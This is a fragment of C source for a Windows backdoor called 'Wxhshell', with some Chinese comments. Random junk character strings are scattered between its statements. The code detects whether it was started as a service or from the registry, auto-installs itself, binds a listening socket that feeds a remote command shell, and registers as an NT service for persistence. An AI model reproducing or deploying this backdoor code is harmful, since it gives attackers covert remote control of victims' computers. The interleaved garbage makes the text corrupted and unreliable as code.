hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U=XaI%ZM) if(!hProcess) return 0; X5wS6v)#( ?9vBn if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /+RNPQO O #2DH_P CloseHandle(hProcess); z/fRd6|[ N(&FATZUW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); N l_!%k: if(hProcess==NULL) return 0; J+\F)k>r |]A{8BBC HMODULE hMod; ao{>.b char procName[255]; vyV n5s unsigned long cbNeeded; fY=iQ?{/[ &X+V} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); d5A!kU _. U`6QD}c"s CloseHandle(hProcess); i*_KHK p{Pa(Z]G if(strstr(procName,"services")) return 1; // 以服务启动 W~k!qy ` NJUYeim; return 0; // 注册表启动 -f9M*7O<gf } K?[pCF2C CX':nai // 主模块 Tc:W=\ < int StartWxhshell(LPSTR lpCmdLine) -|[_j$g { =AL95"cH~ SOCKET wsl; *{4cc BOOL val=TRUE; <O5;w int port=0; Pms3X struct sockaddr_in door; xOT'4v&. xxkP4,(p if(wscfg.ws_autoins) Install(); *`}_e)(k ? |8&!F port=atoi(lpCmdLine); ,zXL8T #EHBS~^ if(port<=0) port=wscfg.ws_port; phXVuQ ZX'{o9+w5 WSADATA data; X""'}X|O if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oTI*mGR1Z TP{a*ke^5, if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; F5
LQgK-z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); iqy}|xAU door.sin_family = AF_INET; +crAkb}i door.sin_addr.s_addr = inet_addr("127.0.0.1"); `zzX2R Je door.sin_port = htons(port); mApn(& x(]s#D!) if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~;eWQwD closesocket(wsl); ,xD{A}}V return 1; jLQjv } e_1mO 5z eU%5CVH.v if(listen(wsl,2) == INVALID_SOCKET) { u/.srK!K closesocket(wsl); qh7o;x~, return 1; "[[fQpe4@ } e982IP Wxhshell(wsl); nrt0[E-&~ WSACleanup(); klf<=V e<9nt [ return 0; o B6"D /#:RYM'Tu } H&03>.b |Y'$+[TE // 以NT服务方式启动 p1?}"bHk VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3~cOQ%#]4 { 7Ck;LF}>0 DWORD status = 0; =\XAD+ DWORD specificError = 0xfffffff; 'oT}jI K&)a3Z=(. serviceStatus.dwServiceType = SERVICE_WIN32; ]#BXaBVMY serviceStatus.dwCurrentState = SERVICE_START_PENDING; }qKeX4\- serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >`{i[60r serviceStatus.dwWin32ExitCode = 0; L//sJe serviceStatus.dwServiceSpecificExitCode = 0; 5ef&Ih.3 serviceStatus.dwCheckPoint = 0; k oHY
AF serviceStatus.dwWaitHint = 0; @\"*Z&]8z0 c hd${
j hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _O!D*=I if (hServiceStatusHandle==0) return; >}4]51s ) F~> status = GetLastError(); 3Aj_,&X.@( if (status!=NO_ERROR) c%Gz{':+ { zr[~wM serviceStatus.dwCurrentState = SERVICE_STOPPED; 19N:9;Ixz serviceStatus.dwCheckPoint = 0; xJ"Zg]d{ serviceStatus.dwWaitHint = 0; 1)YFEU&] serviceStatus.dwWin32ExitCode = status; J:(Shd'4D
serviceStatus.dwServiceSpecificExitCode = specificError; 8^R>y SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8m1zL[.8g return; z=K5~nU } ,B#Y9[R ^m+W serviceStatus.dwCurrentState = SERVICE_RUNNING; ,gOQIS56 serviceStatus.dwCheckPoint = 0; ;etQ serviceStatus.dwWaitHint = 0; & |